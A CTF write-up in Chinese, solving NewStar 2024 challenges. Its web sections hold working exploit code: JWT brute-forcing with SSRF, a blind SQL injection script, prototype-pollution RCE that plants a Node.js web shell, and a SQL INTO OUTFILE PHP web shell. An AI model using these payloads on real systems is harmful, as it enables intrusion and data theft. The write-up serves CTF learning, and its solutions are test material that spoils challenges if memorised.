response.text@app.route("/api" ) def api (): token = request.cookies.get('token' ) if verify_token(token) != True : return verify_token(token) resp = make_response(f"Server Info: {os.popen('uname -a' ).read()} " ) resp.headers['Access-Control-Allow-Credentials' ] = 'true' return resp@app.route("/<path:file>" ) def static_file (file ): print (file) restricted_keywords = ["proc" , "env" , "passwd" , "shadow" , "hosts" , "sys" , "log" , "etc" , "bin" , "lib" , "tmp" , "var" , "run" , "dev" , "home" , "boot" ] if any (keyword in file for keyword in restricted_keywords): return make_response("STOP!" , 404 ) if not os.path.exists("./static/" + file): return make_response("Not found!" , 404 ) return send_file("./static/" + file)if __name__ == '__main__' : app.run(host="0.0.0.0" ,port=5000 )
简单的审计一下代码
密码的登陆是uuid
1 2 3 base_key = str (uuid.uuid4()).split("-" ) secret_key = get_random_number_string(6 ) admin_pass = "" .join([ _ for _ in base_key])
同时限制了登录次数,所以不能直接fuzz爆破
1 2 3 4 5 if failure_count >= 100 : return make_response("You have tried too many times! Please restart the service!" , 403 ) data = jwt.decode(token, secret_key, algorithms=["HS256" ]) if data.get('user' ) != 'admin' : failure_count += 1
伪造需要secret_key,
1 2 3 4 users = { 'admin' : admin_pass, 'amiya' : "114514" }
本段代码我们可以知道一个有效账户 amiya
,密码 114514
,通过发包登录,我们可以获得一个有效的 token
,据此能在本地认证签名 secret_key
的有效性,爆破出 secret_key
,然后查看登录后的逻辑:
前端请求 /execute
指定 api_address
,而 api_address
可控且没有校验,存在 SSRF 漏洞。
利用 /execute
路由的 SSRF 漏洞让服务器自己访问
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import timeimport requestsimport jwtimport sys url = "http://39.106.48.123:19369/" def get_number_string (number, length ): return f"{number:0 {length} }" LENGTH = 6 try : response = requests.post(url + "login" , data={"username" : "amiya" , "password" : "114514" }) response.raise_for_status() token = response.cookies.get("token" ) if not token: sys.exit(1 )except requests.RequestException: sys.exit(1 )for i in range (1000000 ): secret_key = get_number_string(i, LENGTH) try : decoded = jwt.decode(token, secret_key, algorithms=["HS256" ]) break except jwt.exceptions.InvalidSignatureError: continue fake_token = jwt.encode({'user' : 'admin' , 'exp' : int (time.time()) + 600 }, secret_key)try : flag_response = requests.get(url + "execute?api_address=http://localhost:5001/fl4g" , cookies={"token" : fake_token}) flag_response.raise_for_status() print (flag_response.text)except requests.RequestException: pass
Re PangBai 过家家(3) 大概流程参照Pyinstaller打包exe的反编译——LitCTF 2024(公开赛道)ezpython!!!!! - demo41 - 博客园 (cnblogs.com)
首先把exe进行解包变成pyc文件,用这个项目,或者有在线网站
extremecoders-re/pyinstxtractor: PyInstaller Extractor (github.com) ,得到同名的pyc,然后再找个网站反编译文件
反编译 ,得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import sysprint ('Welcome to NewStar~' )print ('Please input the flag:' ) enc = [40 , 9 , 22 , 52 , 15 , 56 , 66 , 71 , 111 , 121 , 90 , 33 , 18 , 40 , 3 , 13 , 80 , 28 , 65 , 68 , 83 , 88 , 34 , 86 , 5 , 12 , 35 , 82 , 67 , 3 , 17 , 79 ] key = 'NewStar2024' input = input ('> ' )if len (input ) != len (enc): print ('Wrong flag, try again!' ) sys.exit(0 )for i in range (len (input )): if enc[i] != ord (input [i]) ^ ord (key[i % len (key)]): print ('Wrong flag, try again!' ) sys.exit(0 )print ('Correct flag!' )
解密得到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 enc = [40 , 9 , 22 , 52 , 15 , 56 , 66 , 71 , 111 , 121 , 90 , 33 , 18 , 40 , 3 , 13 , 80 , 28 , 65 , 68 , 83 , 88 , 34 , 86 , 5 , 12 , 35 , 82 , 67 , 3 , 17 , 79 ] key = 'NewStar2024' flag = []for i in range (len (enc)): char = chr (enc[i] ^ ord (key[i % len (key)])) flag.append(char) decrypted_flag = '' .join(flag)print ('Decrypted flag:' , decrypted_flag)
Misc BGM坏了吗? 用aud检测一下,在最后十秒内有电话播音,可以提取这段音频,用工具得到
AmazingGame jeb直接秒,游戏挺好玩的,base64解密
OSINT-MASTER 飞机定位可以看到是B-2419,查一下飞机的航班的飞行时间定位具体航班
看一下对应的航班
根据图片下面有个弯道河简单定位一下是济宁市
flag{MU5156_济宁市}
ez_jai 测试了一会发现了花括号可以用<%%>
进行绕过
1 2 3 void user_code () <% printf ("Hello, World!" ) ; %>
Crypto 故事新编1 先解密维吉尼亚密码,根据后面的无序尾猜测位数
得到之后一直在尝试但是一直没解出来,明显是出题人问题,有存在一个换行符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from hashlib import md5 zen1 = ''' BEAUTIFUL IS BETTER THAN UGLY. EXPLICIT IS BETTER THAN IMPLICIT. SIMPLE IS BETTER THAN COMPLEX. COMPLEX IS BETTER THAN COMPLICATED. FLAT IS BETTER THAN NESTED. SPARSE IS BETTER THAN DENSE. FLAGA IS VEGENERE READABILITY COUNTS. SPECIAL CASES AREN'T SPECIAL ENOUGH TO BREAK THE RULES. ALTHOUGH PRACTICALITY BEATS PURITY. ERRORS SHOULD NEVER PASS SILENTLY. UNLESS EXPLICITLY SILENCED. ''' key1 = "SUBTITUTION" def enc1 (plaintext, key ): def shift_char (c, k ): return chr (((ord (c) - ord ('A' ) + (ord (k) - ord ('A' ))) % 26 ) + ord ('A' )) plaintext = plaintext.upper() key = key.upper() ciphertext = [] key_index = 0 for char in plaintext: if char.isalpha(): ciphertext.append(shift_char(char, key[key_index % len (key)])) key_index += 1 else : ciphertext.append(char) return '' .join(ciphertext)print ('enc = \'\'\'' + enc1(zen1, key1)+'\'\'\'' ) flag = b'flag{' +md5(zen1.encode()).hexdigest().encode()+b'}' print (flag)
故事新编2 参照1也是先解再解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from hashlib import md5 zen2 = ''' IN THE FACE OF AMBIGUITY, REFUSE THE TEMPTATION TO GUESS. THERE SHOULD BE ONE-- AND PREFERABLY ONLY ONE --OBVIOUS WAY TO DO IT. ALTHOUGH THAT WAY MAY NOT BE OBVIOUS AT FIRST UNLESS YOU'RE DUTCH. NOW IS BETTER THAN NEVER. ALTHOUGH NEVER IS OFTEN BETTER THAN RIGHT NOW. IF THE IMPLEMENTATION IS HARD TO EXPLAIN, IT'S A BAD IDEA. IF THE IMPLEMENTATION IS EASY TO EXPLAIN, IT MAY BE A GOOD IDEA. ''' key2 ='supersubtitution' dict1 = {'A' : 0 , 'B' : 1 , 'C' : 2 , 'D' : 3 , 'E' : 4 , 'F' : 5 , 'G' : 6 , 'H' : 7 , 'I' : 8 , 'J' : 9 , 'K' : 10 , 'L' : 11 , 'M' : 12 , 'N' : 13 , 'O' : 14 , 'P' : 15 , 'Q' : 16 , 'R' : 17 , 'S' : 18 , 'T' : 19 , 'U' : 20 , 'V' : 21 , 'W' : 22 , 'X' : 23 , 'Y' : 24 , 'Z' : 25 } dict2 = {0 : 'A' , 1 : 'B' , 2 : 'C' , 3 : 'D' , 4 : 'E' , 5 : 'F' , 6 : 'G' , 7 : 'H' , 8 : 'I' , 9 : 'J' , 10 : 'K' , 11 : 'L' , 12 : 'M' , 13 : 'N' , 14 : 'O' , 15 : 'P' , 16 : 'Q' , 17 : 'R' , 18 : 'S' , 19 : 'T' , 20 : 'U' , 21 : 'V' , 22 : 'W' , 23 : 'X' , 24 : 'Y' , 25 : 'Z' }def generate_key (message, key ): for i in range (len (message)): if message[i].isalpha() == False : pass else : key += message[i] return keydef enc2 (message, key ): message = message.upper() key = key.upper() key_new = generate_key(message, key) cipher_text = '' i = 0 for letter in message: if letter.isalpha(): x = (dict1[letter]+dict1[key_new[i]]) % 26 i += 1 cipher_text += dict2[x] else : cipher_text += letter return cipher_textprint ('enc = \'\'\'' + enc2(zen2, key2)+'\'\'\'' ) flag = b'flag{' +md5(zen2.encode()).hexdigest().encode()+b'}' print (flag)
week4 web blindsql2 其实我的week3就是对的只是默认不匹配除_
的字符导致我以为爆出来的表只有一个,现在上一下这周的脚本吧,f脚本需要多跑几次才能出准确的flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import timeimport requestsimport string dicts = string.ascii_letters + string.digits + "_" +"-" +"{" +"}" +"," flag = '' url = 'http://eci-2ze1c97lhjoq1bd4ebwl.cloudeci1.ichunqiu.com/' def get_flag_char (index ): for char in dicts: payload = f"-1'||(if(mid((select(group_concat(secret_value))from(secrets)where((secret_value)like('flag%'))),{index} ,1)like('{char} '),sleep(0.5),0))#" params = {'student_name' : payload} try : start_time = time.time() r = requests.get(url=url, params=params) end_time = time.time() sub = end_time - start_time if sub >= 0.5 : return char except requests.RequestException as e: print (f"请求失败: {e} " ) return None for i in range (1 , 64 ): char = get_flag_char(i) if char: flag += char print (f"当前情况: {flag} " ) else : print ("已结束" ) break print (f"最终情况: {flag} " )
chocolate 开头直接dirsearch扫了一遍
第一层数字截断绕过
第二层md5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import hashlib target_prefix = '8031b' for i in range (10000000 ): next_level = str (i) if hashlib.md5(next_level.encode()).hexdigest().startswith(target_prefix): print (f'找到的值: {next_level} ' ) break else : print ("no" )
第三层大小写绕过bp发包
最后一层直接bpfuzz一下
ezcmsss(复现) 用dir扫目录可以发现有www.zip,下载下来里面有后台管理的账户和密码`admin_name=jizhicms1498 & admin_pass=4oP4fB51r5`
后台界面在admin.php
里登入后台,发现 jizhicms v1.9.5 有一个管理界面的任意文件下载漏洞,插件里面只有一个不能出网,我到这里当时就卡住了实际流程是需要在将.zip
文件上传到题目容器里,然后通过任意文件下载漏洞本地下载解压
其中的一种是在栏目管理-栏目列表-新增栏目
中增加附件,上传构造好的php🐎的压缩包
上传的时候bp截取然后获取压缩包的内容
1 /static/upload/file/20241104/1730714912409405.zip
然后就可以按照网上泄露的漏洞来打了
filepath
的参数随意,然后把刚才抓到的zip路径贴上去
然后对文件进行解压
最后跟进/A/exts/ma.php
进行命令执行
没注意群里的提醒是不出网的,一直在想着出网,解题思路和我想的基本一致。
隐藏的密码(复现) java还没会,学一下。找不到密码目录扫描
可以扫到 env
和 jolokia
端点
可以找到 caef11.passwd
属性是隐藏的
读到密码后,根据题目描述和属性的名字可得用户名为 caef11
通过写定时任务(计划任务)的方式,以 flag 为文件名在根目录创建新文件,通过 ls
查看 flag
1 */1 * * * * root cat /flag | xargs -I {} touch /{}
具体就不会写了,不会java的有苦头了,之后有空一定学。
PangBai 过家家(4)(复现) hint:You just need to read main.go for solving this challenge.
直接定位main.go
文件,前端在/eye路由上存在模板注入,定位一下关键代码
1 2 3 4 5 6 tmplStr := strings.Replace(string (content), "%s" , input, -1 ) tmpl, err := template.New("eye" ).Parse(tmplStr) helper := Helper{User: user, Config: config} err = tmpl.Execute(w, helper)
将 content
中的所有 "%s"
替换为 input
字符串,从而生成最终的模板字符串 tmplStr
定义并实例化 Helper
结构体,将 user
和 config
数据结构传入,用于后续的模板渲染。这个 Helper
结构体充当模板中的数据源
Execute
方法用于将 helper
中的数据渲染进模板 tmpl
中,并输出到 w
(例如 http.ResponseWriter
)。这里会将 helper
中的字段(如 User
、Config
等)渲染到模板中被占位符引用的位置。
引用官方的解释
1 2 3 tmpl.Execute 函数用于将 tmpl 对象中的模板字符串进行渲染,第一个参数传入的是一个 Writer 对象,后面是一个上下文,在模板字符串中,可以使用 {{ . }} 获取整个上下文,或使用 {{ .A.B }} 进行层级访问。若上下文中含有函数,也支持 {{ .Func "param" }} 的方式传入变量。并且还支持管道符运算。 在本题中,由于 utils.go 定义的 Stringer 对象中的 String 方法,对继承他的每一个 struct,在转换为字符串时都会返回 [struct],所以直接使用 {{ . }} 返回全局的上下文结构会返回 [struct].
在/eye路由下,可以追溯Helper
和Config
两个结构体,可以尝试获取Jwt
1 AYZowY3EtOmSZpn3Zh0TaGCMY72SMDSr2LvK5a3zYc7OD2cNpN0KkvnsClLkLJ95
然后看另外一个路由/favorite
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 func routeFavorite (w http.ResponseWriter, r *http.Request) { if r.Method == http.MethodPut { requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":" )] fmt.Println("Request IP:" , requestIP) if requestIP != "127.0.0.1" && requestIP != "[::1]" { w.WriteHeader(http.StatusForbidden) w.Write([]byte ("Only localhost can access" )) return } token, _ := r.Cookie("token" ) o, err := validateJwt(token.Value) if err != nil { w.Write([]byte (err.Error())) return } if o.Name == "PangBai" { w.WriteHeader(http.StatusAccepted) w.Write([]byte ("Hello, PangBai!" )) return } if o.Name != "Papa" { w.WriteHeader(http.StatusForbidden) w.Write([]byte ("You cannot access!" )) return } body, err := ioutil.ReadAll(r.Body) if err != nil { http.Error(w, "error" , http.StatusInternalServerError) } config.SignaturePath = string (body) w.WriteHeader(http.StatusOK) w.Write([]byte ("ok" )) return }
网页的右下角是个文件读的结果,文件路径默认为 config.SignaturePath
即 ./sign.txt
的内容。
代码说明了如果是PUT
请求可以进入修改config.SignaturePath
的值,但是需要让name值为Papa
才能进行
这里先构造一个jwt伪造(注意密钥不要带多余的空格)
于是解题思路:利用泄露的 JwtKey
伪造 Cookie,对 /favorite
发起 PUT 请求以修改 config.SignaturePath
,然后访问 /favorite
获取文件读的内容。同时题目还给了限制必须来自127.0.0.1
定位代码
1 2 3 4 5 6 7 8 9 10 func (c Helper) Curl(url string ) string { fmt.Println("Curl:" , url) cmd := exec.Command("curl" , "-fsSL" , "--" , url) _, err := cmd.CombinedOutput() if err != nil { fmt.Println("Error: curl:" , err) return "error" } return "ok" }
定义了一个名为 Curl
的方法,它属于 Helper
结构体,并通过调用 curl
命令去访问指定的 URL。它的主要功能是发送一个 HTTP 请求并返回结果。--
的存在,我们没有办法进行任何命令注入或选项控制,但 curl 命令并不是只能发起 HTTP 请求,它也支持其它很多的协议,例如 FTP、Gopher 等,其中 Gopher 协议能满足我们的要求。
1 2 3 4 5 6 7 PUT /favorite HTTP/1.1 Host: localhost:8000 Content-Type: text/plain Cookie: token= Content-Length: 18 /proc/self/environ
然后构造 PUT 请求原始报文,Body 内容为想要读取的文件内容,这里读取环境变量
读取之后前去可以查看flag
ezpollute(复现) 看一下部署文件Node.js 版本为 16,使用了 node-dev
热部署启动
在index.js
里面的/config
路由下存在merge
,大概率存在原生链污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 try { finalConfig = clone (defaultWaterMarkConfig) merge (finalConfig, userConfig) fs.writeFileSync (path.join (__dirname, 'uploads' , userID, 'config.json' ), JSON .stringify (finalConfig)) ctx.body = { code : 1 , msg : 'Config updated successfully' , } } catch (e) { ctx.body = { code : 0 , msg : 'Some error occurred' , } }
1 const { clone, merge } = require ('./utils/merge' )
merge
函数在 /util/merge.js
中,跳过名为 __proto__
的属性,以防止原型链污染漏洞;跳过值为空字符串 ""
的属性。但我们可以通过 constructor.prototype
来绕过限制(constructor.prototype
是对象的一个属性,可以用来访问并修改对象的原型。)
1 2 3 4 5 6 7 8 9 10 # merge.js for (let key in source) { if (key === "__proto__" ) continue if (source[key] === "" ) continue if (isObject (source[key]) && key in target) { target[key] = merge (target[key], source[key]); } else { target[key] = source[key]; } }
/process
路由调用了 fork
,创建了一个 JavaScript 子进程用于水印添加
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 try { await new Promise ((resolve, reject ) => { const proc = fork (PhotoProcessScript , [userDir], { silent : true }) proc.on ('close' , (code ) => { if (code === 0 ) { resolve ('success' ) } else { reject (new Error ('An error occurred during execution' )) } }) proc.on ('error' , (err ) => { reject (new Error (`Failed to start subprocess: ${err.message} ` )) }) }) ctx.body = { code : 1 , msg : 'Photos processed successfully' , } }
可以污染 NODE_OPTIONS
和 env
,在 env
中写入恶意代码,fork
在创建子进程时就会首先加载恶意代码,从而实现 RCE,但题目不出网,所以需要换一种写法
这种写法在复现的时候没打通,按道理是可以的因为有root权限
1 2 {"constructor" : {"prototype" : {"NODE_OPTIONS" : "--require /proc/self/environ" , "env" : { "EVIL" :"console.log(require(\"child_process\").execSync(\"cp /flag static/script.js\").toString())//" }}}}
官p的思路差不多写个shell进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import requestsimport reimport base64from time import sleep url = "http://url:port" files = [ ('images' , ('anno.png' , open ('./1.png' , 'rb' ), 'image/png' )), ('images' , ('soyo.png' , open ('./2.png' , 'rb' ), 'image/png' )) ] res = requests.post(url + "/upload" , files=files) token = res.headers.get('Set-Cookie' )match = re.search(r'token=([a-f0-9\-\.]+)' , token)if match : token = match .group(1 ) print (f"[+] token: {token} " ) headers = { 'Cookie' : f'token={token} ' } webshell = """ const Koa = require('koa') const Router = require('koa-router') const app = new Koa() const router = new Router() router.get("/webshell", async (ctx) => { const {cmd} = ctx.query res = require('child_process').execSync(cmd).toString() return ctx.body = { res } }) app.use(router.routes()) app.listen(3000, () => { console.log('http://127.0.0.1:3000') }) """ encoded_webshell = base64.b64encode(webshell.encode()).decode() payload = { "constructor" : { "prototype" : { "NODE_OPTIONS" : "--require /proc/self/environ" , "env" : { "A" : f"require(\"child_process\").execSync(\"echo {encoded_webshell} | base64 -d > /app/index.js\")//" } } } } requests.post(url + "/config" , json=payload, headers=headers)try : requests.post(url + "/process" , headers=headers)except Exception as e: pass sleep(2 ) res = requests.get(url + "/webshell?cmd=cat /flag" )print (res.text)
misc 扫码领取flag hint看一下里面base64解密,另外一个图片crc爆破一下得到二维码,搜索一下对应的二维码种类得到flag
crypto 圣石匕首 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 import gmpy2from sage.all import * beta = 0.37 delta = 0.01 e = 3668637434348843171145584606519031375027610199908169273169275927238735031431533260375377791001464799116453803408104076615710166171199990283470548282669948353598733020244755959461974603778630346457439345913209321194112256348302765254052193562603687450740346132207444615610078198488883539133291840346099727880587092122957231085658576850601488737629051252914095889313671875244094452330062619943781809984690384476868543570724769198985172300665613239047649089399919032152539462701309393130614829962670866062380816370571057536421400102100259975636785825540933280194583888638501981649650640939392658268133881679239293596283 N = 9748523098652101859947730585916490335896800943242955095820326993765071194474558998322598145898741779502734772138283011560029368500998354183150180904846368209977332058847768859238711047784703104535311583123388923571789764758869419482184613566672922481672444028753365755071127320541645016370072493604532087980626825687519083734367691341907014061379844209864141989961751681235215504772582878202048494707090104738899927036896915997556102574747166491969027546256022019959716418675672979328622656831990050058120299353807110233202113906317969377201045402271911946244076903611612303290556012512559696538977841061277173754331 c = 5374936627659221745209010619827617207565185520404653329184605916859755641352457088986635357806048863755173540232471505333583684733535121482637476692432365062808450583470788320547816186936317927449796090525477205337038591439577855884910604383190932340306435201976465543731935147881754136301375206828970248293731391543905441514528959500307972606931927112031018356411970001312995489429650903529877904694901310020882390008248466887950986326522740278880600110217817950511478637493101027659292006016454642135508207492151610829525082829566392116546434101694921106423469015683277992978077101831969525458693031031468092418427 n = round ((1 -2 *beta-2 *delta)/((1 -beta)**2 -2 *delta-beta), 6 ) m = (1 -beta) * nprint (f"m = {m} , n = {n} " ) n = int (n + 1 ) m = int (m) X = int (pow (N, delta)) Y = int (pow (N, delta+beta)) Z.<x,y> = ZZ[] L = Matrix(ZZ, n, n) f = e*x - yfor i in range (n): g = list (N**max (0 ,m-i) * x**(n-1 -i) * f**i) for j in range (len (g)): L[i,j] = g[j][0 ] * X**(n-1 -j) * Y**j L = L.LLL()[0 ] coeff = []for i in range (n): coeff.append((L[i]//(X**(n-1 -i)*Y**i), f'x**{n-1 -i} *y**{i} ' )) s = '+' .join([f'{c[0 ]} *{c[1 ]} ' for c in coeff]) f = eval (s) factored_f = f.factor()print ("Factored polynomial:" , factored_f) linear_factor = next ((factor for factor, _ in factored_f if factor.degree() == 1 ), None )if linear_factor: k = abs (linear_factor.coefficients()[0 ]) + 1 dp = abs (linear_factor.coefficients()[1 ]) p = (e * dp - 1 ) // k + 1 q = N // p print (f"Possible p: {p} " ) print (f"Possible q: {q} " ) if p * q == N: print ("Successfully factored N!" ) phi = (p - 1 ) * (q - 1 ) d = int (gmpy2.invert(e, phi)) print (f"Private key d: {d} " ) m = pow (c, d, N) plaintext = bytes .fromhex(hex (m)[2 :]) print ("Decrypted message:" , plaintext) else : print ("Failed to factor N correctly." )else : print ("No linear factor found. The attack might have failed." )
欧拉欧拉!! 发现对n可以直接用factordb分解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from Crypto.Util.number import * p = 1523365295049608852447528761114036169506740936697335552555682720997896170562682523843468707748630306876516559528314335864164090878934605899152321495370201 n = 18104347461003907895610914021247683508445228187648940019610703551961828343286923443588324205257353157349226965840638901792059481287140055747874675375786201782262247550663098932351593199099796736521757473187142907551498526346132033381442243277945568526912391580431142769526917165011590824127172120180838162091 e = 65537 c = 14859652090105683079145454585893160422247900801288656111826569181159038438427898859238993694117308678150258749913747829849091269373672489350727536945889312021893859587868138786640133976196803958879602927438349289325983895357127086714561807181967380062187404628829595784290171905916316214021661729616120643997 q = n // pif not isPrime(q): print ("q 不是素数,检查输入" )else : print (f"找到 q: {q} " ) phi_n = (p - 1 ) * (q - 1 ) d = inverse(e, phi_n) m = pow (c, d, n) flag = long_to_bytes(m) print ("flag =" , flag)
week5 crypto RSA?cmd5! 得到的MD5值去cmd5的网址可以直接出,然后继续解密即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from Crypto.Util.number import *from gmpy2 import *import hashlib c = 119084320846787611587774426118526847905825678869032529318497425064970463356147909835330423466179802531093233559613714033492951177656433798856482195873924140269461792479008703758436687940228268475598134411304167494814557384094637387369282900460926092035234233538644197114822992825439656673482850515654334379332 s = 5461514893126669960233658468203682813465911805334274462134892270260355037191167357098405392972668890146716863374229152116784218921275571185229135409696720018765930919309887205786492284716906060670649040459662723215737124829497658722113929054827469554157634284671989682162929417551313954916635460603628116503 n = 139458221347981983099030378716991183653410063401398496859351212711302933950230621243347114295539950275542983665063430931475751013491128583801570410029527087462464558398730501041018349125941967135719526654701663270142483830687281477000567117071676521061576952568958398421029292366101543468414270793284704549051 e = 65537 def get_MD5 (m0 ): md5_object = hashlib.md5(m0.encode()) md5_result = md5_object.hexdigest() return md5_resultdef get_s (m0, d0, n0 ): hm0 = get_MD5(m0) hm1 = bytes_to_long(hm0.encode()) s0 = pow (hm1, d0, n0) return s0def rsa_encode (m0, e0, n0 ): m1 = bytes_to_long(m0.encode()) c0 = pow (m1, e0, n0) return c0def get_flag (m0 ): flag = 'flag{th1s_1s_my_k3y:' + m0 + '0x' + hashlib.sha256(m0.encode()).hexdigest() + '}' return flagdef recover_message_from_signature (): """通过签名恢复MD5值""" recovered_md5_int = pow (s, e, n) recovered_md5 = long_to_bytes(recovered_md5_int).decode() print (f"Recovered MD5: {recovered_md5} " ) return recovered_md5def verify_message (message ): """验证消息的正确性""" calculated_md5 = get_MD5(message) recovered_md5 = "86133884de98baada58a8c4de66e15b8" print ("\nVerification results:" ) print (f"Message: {message} " ) print (f"Calculated MD5: {calculated_md5} " ) print (f"Expected MD5: {recovered_md5} " ) print (f"MD5 Match: {calculated_md5 == recovered_md5} " ) hm1 = bytes_to_long(calculated_md5.encode()) verify_result = pow (s, e, n) print (f"Signature verification: {verify_result == hm1} " ) return calculated_md5 == recovered_md5def main (): print ("Step 1: Recovering MD5 from signature..." ) recovered_md5 = recover_message_from_signature() message = "adm0n12" print (f"\nStep 2: Using known message: {message} " ) print ("\nStep 3: Verifying message..." ) if verify_message(message): print ("\nStep 4: Generating flag..." ) flag = get_flag(message) print ("\nFinal Flag:" ) print (flag) print ("\nStep 5: Additional verification..." ) test_c = rsa_encode(flag, e, n) print (f"Ciphertext match: {test_c == c} " ) else : print ("Message verification failed!" )if __name__ == "__main__" : main()
easy_ecc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from Crypto.Util.number import *from sage.all import * p = 64408890408990977312449920805352688472706861581336743385477748208693864804529 a = 111430905433526442875199303277188510507615671079377406541731212384727808735043 b = 89198454229925288228295769729512965517404638795380570071386449796440992672131 k = 86388708736702446338970388622357740462258632504448854088010402300997950626097 c1_x = 10968743933204598092696133780775439201414778610710138014434989682840359444219 c1_y = 50103014985350991132553587845849427708725164924911977563743169106436852927878 c2_x = 16867464324078683910705186791465451317548022113044260821414766837123655851895 c2_y = 35017929439600128416871870160299373917483006878637442291141472473285240957511 c_left = 15994601655318787407246474983001154806876869424718464381078733967623659362582 c_right = 3289163848384516328785319206783144958342012136997423465408554351179699716569 E = EllipticCurve(GF(p), [a,b]) C1 = E(c1_x, c1_y) C2 = E(c2_x, c2_y) M = C1 - k*C2 m_x = M[0 ] m_y = M[1 ] F = GF(p) m_x = F(m_x) m_y = F(m_y) m_x_inv = 1 /m_x m_y_inv = 1 /m_y flag_left = c_left * m_x_inv flag_right = c_right * m_y_inv flag_left = long_to_bytes(int (flag_left)) flag_right = long_to_bytes(int (flag_right))print ("Recovered flag:" , flag_left + flag_right)
没e也能玩 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from Crypto.Util.number import *from gmpy2 import *def solve_rsa_crt (c, p, q, dp, dq ): q_inv = int (invert(q, p)) m1 = pow (c, dp, p) m2 = pow (c, dq, q) h = (q_inv * (m1 - m2)) % p m = m2 + h * q return m c = 312026920216195772014255984174463085443866592575942633449581804171108045852080517840578408476885673600123673447592477875543106559822653280458539889975125069364584140981069913341705738633426978886491359036285144974311751490792757751756044409664421663980721578870582548395096887840688928684149014816557276765747135567714257184475027270111822159712532338590457693333403200971556224662094381891648467959054115723744963414673861964744567056823925630723343002325605154661959863849738333074326769879861280895388423162444746726568892877802824353858845944856881876742211956986853244518521508714633279380808950337611574412909 p = 108043725609186781791705090463399988837848128384507136697546885182257613493145758848215714322999196482303958182639388180063206708575175264502030010971971799850889123915580518613554382722069874295016841596099030496486069157061211091761273568631799006187376088457421848367280401857536410610375012371577177832001 q = 121590551121540247114817509966135120751936084528211093275386628666641298457070126234836053337681325952068673362753408092990553364818851439157868686131416391201519794244659155411228907897025948436021990520853498462677797392855335364006924106615008646396883330251028071418465977013680888333091554558623089051503 dp = 11282958604593959665264348980446305500804623200078838572989469798546944577064705030092746827389207634235443944672230537015008113180165395276742807804632116181385860873677969229460704569172318227491268503039531329141563655811632035522134920788501646372986281785901019732756566066694831838769040155501078857473 dq = 46575357360806054039250786123714177813397065260787208532360436486982363496441528434309234218672688812437737096579970959403617066243685956461527617935564293219447837324227893212131933165188205281564552085623483305721400518031651417947568896538797580895484369480168587284879837144688420597737619751280559493857 m = solve_rsa_crt(c, p, q, dp, dq) flag = long_to_bytes(m)print (f"Decrypted flag: {flag.decode()} " )
web sqlshell(复现) 没想到直接这么写orz
1 alice' union select 1,' <?php eval ($_POST [1]);?>',3 INTO OUTFILE ' /var/www/html/orange.php'#
1 1=system('cat /you_cannot_read_the_flag_directly' );
臭皮吹泡泡(复现) 好长的pop链当时有其他比赛自己也没细看,跟着学学吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 <?php error_reporting (0 );highlight_file (__FILE__ );class study { public $study ; public function __destruct ( ) { if ($this ->study == "happy" ) { echo ($this ->study); } } }class ctf { public $ctf ; public function __tostring ( ) { if ($this ->ctf === "phpinfo" ) { die ("u can't do this!!!!!!!" ); } ($this ->ctf)(1 ); return "can can need" ; } }class let_me { public $let_me ; public $time ; public function get_flag ( ) { $runcode ="<?php #" .$this ->let_me."?>" ; $tmpfile ="code.php" ; try { file_put_contents ($tmpfile ,$runcode ); echo ("we need more" .$this ->time); unlink ($tmpfile ); }catch (Exception $e ){ return "no!" ; } } public function __destruct ( ) { echo "study ctf let me happy" ; } }class happy { public $sign_in ; public function __wakeup ( ) { $str = "sign in " .$this ->sign_in." here" ; return $str ; } }$signin = $_GET ['new_star[ctf' ];if ($signin ) { $signin = base64_decode ($signin ); unserialize ($signin ); }else { echo "你是真正的CTF New Star 吗? 让我看看你的能力" ; }
先讲一下野生wp的
